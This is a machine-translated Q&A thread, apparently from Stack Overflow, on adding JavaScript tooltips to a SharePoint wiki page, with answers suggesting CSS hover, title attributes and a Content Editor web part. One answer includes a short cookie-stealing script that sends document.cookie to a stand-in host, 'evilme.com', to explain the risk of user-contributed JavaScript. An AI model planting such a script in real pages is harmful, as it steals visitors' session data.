سؤال

كيف يمكن ، حسب ويكي المشرف, أدخل البرمجة (جافا سكريبت) في Sharepoint ويكي الصفحة ؟

أود أن أدخل العنوان و عند النقر على ذلك ، بعد أن عرض تحته صغيرة التفسير.وعادة ما يكون فعل ذلك مع جافا سكريبت ، أي فكرة ؟

هل كانت مفيدة؟

المحلول

على افتراض أنك مسؤول ويكي و على استعداد عرض هذا على تمرير الماوس بدلا من على فوق, أنت لا تحتاج إلى جافا سكريبت على الإطلاق-يمكنك استخدام مستقيم CSS.هنا مثال من الأساليب و العلامات:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

مع بعض أكثر انخراطا أنماط الخاص بك مربع تلميح يمكن أن تبدو جميلة كما كنت ترغب.

نصائح أخرى

إذا ويكي الكتاب الحكيم ، ربما ليس هناك طريقة للقيام بذلك.

المشكلة مع المستخدم ساهم جافا سكريبت هو أنه يفتح الباب أمام كل أشكال الظالمين للاستيلاء على بيانات من المطمئنين.

لنفترض الشر لي وظيفة البرنامج النصي على موقع ويب:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

الآن سوف تتلقى معلومات ملف تعريف الارتباط من كل زائر الصفحة ، نشر السجل على الخادم.وهذا مجرد غيض من فيض.

ذلك يعتمد كليا على ويكي البرنامج الذي تستخدمه.الطريق رأيت العمل المضيف شبيبة الملف في مكان آخر ثم تدرج مع علامة النصي مع سمة src.

إذا كانت لا تسمح بذلك ، ربما أنها تسمح IFRAME التي يمكنك تعيينها إلى صفحة يتضمن البرنامج النصي.باستخدام الأسلوب الثاني, لن يسمح لك للوصول إلى المضيف الصفحة دوم.

أنا أحب CSS الإجابة.عندما يمكنك استخدام CSS بدلا من جافا سكريبت نتائج في أبسط توصيف.
شيء آخر للنظر في المجتمع Kit for SharePoint تعزيز ويكي الطبعة على Codeplex.يمكنك تحميل الكود المصدري و إضافة ميزات الخاصة بك.أو يمكنك أن تشير إلى هذا ميزة جديدة في المنتدى.

يبدو خطرا على الأمن.يبدو أنه من الممكن ويكي المشرف تثبيت البرامج النصية ، انظر ويكيبيديا المستخدم النصية.

إذا كنت تتحدث عن استخدام جافا سكريبت كجزء من صفحة ويب على هذا الموقع, لا يمكنك.أو أي ويكي العامة في هذا الشأن - أنه خطر أمني.

إذا كنت تتحدث عن نشر نموذج التعليمات البرمجية, انقر على '101010' زر فوق مربع النص.

بطبيعة الحال تعتمد على محرك ويكي تتحدث.على الأرجح على الرغم sblundy يقول أنه سيكون خطرا على الأمن للسماح بحرية استخدام جافا سكريبت في صفحة ويكي.

يجب أن لا تكون قادرة على إضافة شفرة جافا سكريبت في أي ويكي العامة.إذا كنت تستضيف بنفسك ، فأنت بحاجة لطلب معين ويكي النظام حتى شخص يمكن أن تساعدك على تعديل إعدادات - إذا كان ذلك ممكنا لهذا النظام.

إضافة title="text here" إلى أي الوسم ويجب أن تظهر رسالة عندما تحوم على ذلك.
Internet Explorer يظهر النص عند استخدام alt="text here" السمة ، على الرغم من أن هذا ليس وفقا لمعايير.

أنا اختبرت الآن يمكنك إضافة <h2 title="some explanation here">headline</h2> أن أي نظام يقوم على ويكيميديا (واحد ويكيبيديا يستخدم).

استخدام جزء ويب محرر المحتوى

من الشريط ، حدد Insert واختيار Web Part.من القائمة ، انتقل إلى Media and Content واختيار Content Editor.من تم إنشاؤه حديثا webpart هو القائمة المنسدلة ، اختر Edit Web Part.من حق webpart القائمة إعدادات ، وتوسيع Appearance وتعيين Chrome Type إلى None.انقر Click Here to Add Content على webpart وتحديد Edit HTML Source في الشريط.يمكنك استخدام HTML في هذا المجال دون أن مطهرة بعيدا.

ملاحظة:إذا كنت تخطط على إضافة سلوكيات الكثير من عناصر الصفحة, قد ترغب في تحميل .js الملفات إلى نمط مكتبة تشمل فقط <script src="..."> الوسم في محرر المحتوى.قد تحتاج أيضا إلى النظر في استخدام مخصص الماجستير أو تخطيط الصفحة.

المصدر: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages

مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top